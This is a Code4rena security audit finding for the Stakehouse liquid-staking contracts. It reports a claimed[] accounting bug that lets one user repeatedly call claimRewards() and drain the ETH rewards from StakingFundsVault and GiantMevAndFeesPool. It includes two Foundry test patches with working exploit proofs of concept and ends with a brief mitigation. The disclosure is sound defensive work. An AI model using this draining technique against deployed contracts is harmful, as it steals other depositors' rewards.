Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L63

Vulnerability details

Impact

The root issue is that SyndicateRewardsProcessor's _distributeETHRewardsToUserForToken() sets the claimed[] eth value incorrectly when paying out ETH. The claimed[] value is set to the immediate amount paid out during this function call, not to the total amount that the user has claimed over time. As a result, further calls to _distributeETHRewardsToUserForToken() believe the user has not claimed all rewards and will continue making payouts while setting claimed[] incorrectly.

The _distributeETHRewardsToUserForToken() function is used in numerous places, and in some cases claimed[] is also set independently of _distributeETHRewardsToUserForToken() along some code paths. However, it is still possible for a user to take rewarded ETH they are not entitled to from both StakingFundsVault and GiantMevAndFeesPool in multiple ways. There are two POCs below demonstrating this for StakingFundsVault and for GiantMevAndFeesPool using claimRewards().

A further issue is that because claimed[] is set correctly a well behaved user could face DOS when attempting to claim rewards or perform other actions (for example if the incorrect accounting using claimed[] attempts to send more ETH than the Vault has.)

Proof of Concept

The following patches includes POCs where one user of a StakingFundsVault or GiantMevAndFeesPool claims the rewards for all users using repeated calls to claimRewards().

forge test -vv -m testReceiveETHAndOneAccountClaimsAllRewards

StakingFundsVault poc patch:

diff --git a/test/foundry/StakingFundsVault.t.sol b/test/foundry/StakingFundsVault.t.sol
index 53b4ce0..84f64e9 100644
--- a/test/foundry/StakingFundsVault.t.sol
+++ b/test/foundry/StakingFundsVault.t.sol
@@ -417,4 +417,82 @@ contract StakingFundsVaultTest is TestUtils {
         assertEq(vault.totalClaimed(), rewardsAmount);
         assertEq(vault.totalRewardsReceived(), rewardsAmount);
     }
+
+    function testReceiveETHAndOneAccountClaimsAllRewards() public {
+        // register BLS key with the network
+        registerSingleBLSPubKey(accountTwo, blsPubKeyFour, accountFive);
+
+        // Do a deposit of 4 ETH for bls pub key four in the fees and mev pool
+        depositETH(accountTwo, maxStakingAmountPerValidator / 2, getUint256ArrayFromValues(maxStakingAmountPerValidator / 2), getBytesArrayFromBytes(blsPubKeyFour));
+        depositETH(accountOne, maxStakingAmountPerValidator / 2, getUint256ArrayFromValues(maxStakingAmountPerValidator / 2), getBytesArrayFromBytes(blsPubKeyFour));
+
+        // Do a deposit of 24 ETH for savETH pool
+        liquidStakingManager.savETHVault().depositETHForStaking{value: 24 ether}(blsPubKeyFour, 24 ether);
+
+        stakeAndMintDerivativesSingleKey(blsPubKeyFour);
+
+        LPToken lpTokenBLSPubKeyFour = vault.lpTokenForKnot(blsPubKeyFour);
+
+        uint256 totalRewardAmount = 4 ether;
+
+        // Deal half of the total rewards to the staking funds vault after the first 3 hours.
+        vm.warp(block.timestamp + 3 hours);
+        vm.deal(address(vault), totalRewardAmount / 2);
+        assertEq(address(vault).balance, totalRewardAmount / 2);
+        assertEq(vault.previewAccumulatedETH(accountTwo, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 4);
+        assertEq(vault.previewAccumulatedETH(accountOne, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 4);
+
+        // Now accountTwo claims all of its rewards. Everything is working as expected so far.
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+        assertEq(accountTwo.balance, totalRewardAmount / 4);
+        assertEq(vault.claimed(accountTwo, address(lpTokenBLSPubKeyFour)), totalRewardAmount / 4);
+        assertEq(address(vault).balance, totalRewardAmount / 4);
+
+        // Deal remainder of the total rewards to the staking funds vault after the next 3 hours.
+        vm.warp(block.timestamp + 3 hours);
+        vm.deal(address(vault), totalRewardAmount / 4 + totalRewardAmount / 2);
+        assertEq(address(vault).balance, totalRewardAmount * 3 / 4);
+        assertEq(vault.previewAccumulatedETH(accountTwo, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 4);
+        assertEq(vault.previewAccumulatedETH(accountOne, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 2);
+
+        // accountTwo now claims its rewards again. The correct reward amount is sent, but
+        // the vault's claimed[] value is set incorrectly.
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+        assertEq(accountTwo.balance, totalRewardAmount * 2 / 4);
+        // SyndicateRewardsProcessor's _distributeETHRewardsToUserForToken() has set claimed to
+        // the amount just paid out, rather than the total amount paid out. This allows
+        // accountTwo to continue calling claimedRewards() to receive funds to which it is not
+        // entitled.
+        assertEq(vault.claimed(accountTwo, address(lpTokenBLSPubKeyFour)), totalRewardAmount / 4);
+
+        // accountTwo calls claimRewards() again and receives totalRewardAmount / 4, which it is
+        // not entitled to.
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+        assertEq(accountTwo.balance, totalRewardAmount * 3 / 4);
+        // The claimed amount is once again set incorrectly, allowing further withdrawals.
+        assertEq(vault.claimed(accountTwo, address(lpTokenBLSPubKeyFour)), totalRewardAmount / 4);
+
+        // accountTwo calls claimRewards() again and receives totalRewardAmount / 4, which it is
+        // not entitled to.
+        vm.prank(accountTwo);
+        vault.claimRewards(accountTwo, getBytesArrayFromBytes(blsPubKeyFour));
+        assertEq(accountTwo.balance, totalRewardAmount * 4 / 4);
+        // The claimed amount is once again set incorrectly, allowing further withdrawals.
+        // wrong
+        assertEq(vault.claimed(accountTwo, address(lpTokenBLSPubKeyFour)), totalRewardAmount / 4);
+
+        // accountTwo could continue calling claimRewards() indefinitely, but it has taken
+        // the vault's entire balance.
+
+        // At this point accountTwo has been able to take the vault's entire balance.
+        // There are no funds available to pay out to accountOne, and the vault still thinks
+        // it owes more rewards to accountTwo.
+        assertEq(address(vault).balance, 0);
+        assertEq(vault.previewAccumulatedETH(accountTwo, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 4);
+        assertEq(vault.previewAccumulatedETH(accountOne, vault.lpTokenForKnot(blsPubKeyFour)), totalRewardAmount / 2);
+   }
+
 }
\ No newline at end of file

GiantMevAndFeesPool poc patch:

diff --git a/test/foundry/GiantPools.t.sol b/test/foundry/GiantPools.t.sol
index 7e8bfdb..66acf25 100644
--- a/test/foundry/GiantPools.t.sol
+++ b/test/foundry/GiantPools.t.sol
@@ -5,6 +5,7 @@ pragma solidity ^0.8.13;
 import "forge-std/console.sol";
 import { TestUtils } from "../utils/TestUtils.sol";

+import { MockLiquidStakingManager } from "../../contracts/testing/liquid-staking/MockLiquidStakingManager.sol";
 import { GiantSavETHVaultPool } from "../../contracts/liquid-staking/GiantSavETHVaultPool.sol";
 import { GiantMevAndFeesPool } from "../../contracts/liquid-staking/GiantMevAndFeesPool.sol";
 import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";
@@ -116,4 +117,140 @@ contract GiantPoolTests is TestUtils {
         assertEq(dETHToken.balanceOf(savETHUser), 24 ether);
     }

+    function addNewLSM(address payable giantFeesAndMevPool, bytes memory blsPubKey) public returns (address payable) {
+        manager = deployNewLiquidStakingNetwork(
+            factory,
+            admin,
+            true,
+            "LSDN"
+        );
+
+        savETHVault = MockSavETHVault(address(manager.savETHVault()));
+
+        giantSavETHPool = new MockGiantSavETHVaultPool(factory, savETHVault.dETHToken());
+
+        // Set up users and ETH
+        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
+        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
+
+        // Register BLS key
+        registerSingleBLSPubKey(nodeRunner, blsPubKey, accountFour);
+
+        // Deposit ETH into giant savETH
+        vm.prank(savETHUser);
+        giantSavETHPool.depositETH{value: 24 ether}(24 ether);
+        assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
+        assertEq(address(giantSavETHPool).balance, 24 ether);
+
+        // Deploy ETH from giant LP into savETH pool of LSDN instance
+        bytes[][] memory blsKeysForVaults = new bytes[][](1);
+        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKey);
+
+        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether);
+
+        giantSavETHPool.batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.savETHVault())),
+            getUint256ArrayFromValues(24 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+        assertEq(address(manager.savETHVault()).balance, 24 ether);
+
+        assert(giantFeesAndMevPool.balance >= 4 ether);
+        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
+        GiantMevAndFeesPool(giantFeesAndMevPool).batchDepositETHForStaking(
+            getAddressArrayFromValues(address(manager.stakingFundsVault())),
+            getUint256ArrayFromValues(4 ether),
+            blsKeysForVaults,
+            stakeAmountsForVaults
+        );
+
+        // Ensure we can stake and mint derivatives
+        stakeAndMintDerivativesSingleKey(blsPubKey);
+
+        return payable(manager);
+    }
+
+    function testReceiveETHAndOneAccountClaimsAllRewards() public {
+
+        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
+        address feesAndMevUserTwo = accountFour; vm.deal(feesAndMevUserTwo, 4 ether);
+
+       // Deposit ETH into giant fees and mev
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
+        vm.stopPrank();
+        vm.startPrank(feesAndMevUserTwo);
+        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
+        vm.stopPrank();
+
+        MockLiquidStakingManager manager1 = MockLiquidStakingManager(addNewLSM(payable(giantFeesAndMevPool), blsPubKeyOne));
+        MockLiquidStakingManager manager2 = MockLiquidStakingManager(addNewLSM(payable(giantFeesAndMevPool), blsPubKeyTwo));
+
+        bytes[][] memory blsPubKeyOneInput = new bytes[][](1);
+        blsPubKeyOneInput[0] = getBytesArrayFromBytes(blsPubKeyOne);
+
+        bytes[][] memory blsPubKeyTwoInput = new bytes[][](1);
+        blsPubKeyTwoInput[0] = getBytesArrayFromBytes(blsPubKeyTwo);
+
+        vm.warp(block.timestamp + 3 hours);
+
+        // Add 2 eth rewards to manager1's staking funds vault.
+        vm.deal(address(manager1.stakingFundsVault()), 2 ether);
+
+        // mev user one claims their rewards. Everything is working ok so far.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserOne,
+            getAddressArrayFromValues(address(manager1.stakingFundsVault())),
+            blsPubKeyOneInput);
+        vm.stopPrank();
+        assertEq(feesAndMevUserOne.balance, 1 ether);
+
+        // Add 2 eth rewards to manager2's staking funds vault, which also uses our giant fees/mev pool.
+        vm.deal(address(manager2.stakingFundsVault()), 2 ether);
+
+        // mev user one now claims rewards from manager2's staking funds vault and receives the
+        // correct amount.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserOne,
+            getAddressArrayFromValues(address(manager2.stakingFundsVault())),
+            blsPubKeyTwoInput);
+        vm.stopPrank();
+        assertEq(feesAndMevUserOne.balance, 2 ether);
+
+        // From this point, the pool has an incorrect claimed[] value stored for user one
+        // and allows the user to continue withdrawing assets indefinitely.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserOne,
+            getAddressArrayFromValues(address(manager2.stakingFundsVault())),
+            blsPubKeyTwoInput);
+        vm.stopPrank();
+        assertEq(feesAndMevUserOne.balance, 3 ether);
+
+        // The final assets are withdrawn from giantFeesAndMevPool.
+        vm.startPrank(feesAndMevUserOne);
+        giantFeesAndMevPool.claimRewards(
+            feesAndMevUserOne,
+            getAddressArrayFromValues(address(manager2.stakingFundsVault())),
+            blsPubKeyTwoInput);
+        vm.stopPrank();
+        assertEq(feesAndMevUserOne.balance, 4 ether);
+        assertEq(address(giantFeesAndMevPool).balance, 0);
+
+        // user two is reported as having 2 eth accumulated but there is no balance in
+        // the giant pool to pay out.
+        assertEq(
+            giantFeesAndMevPool.previewAccumulatedETH(
+                feesAndMevUserTwo,
+                new address[](0),
+                new LPToken[][](0)),
+                2 ether);
+        assertEq(address(giantFeesAndMevPool).balance, 0);
+
+    }
+
 }
\ No newline at end of file

Tools Used

Recommended Mitigation Steps

SyndicateRewardsProcessor's _distributeETHRewardsToUserForToken() should increment claimed[] by the amount to be paid out instead of resetting claimed[] to the current payout amount only.

code-423n4 / 2022-11-stakehouse-findings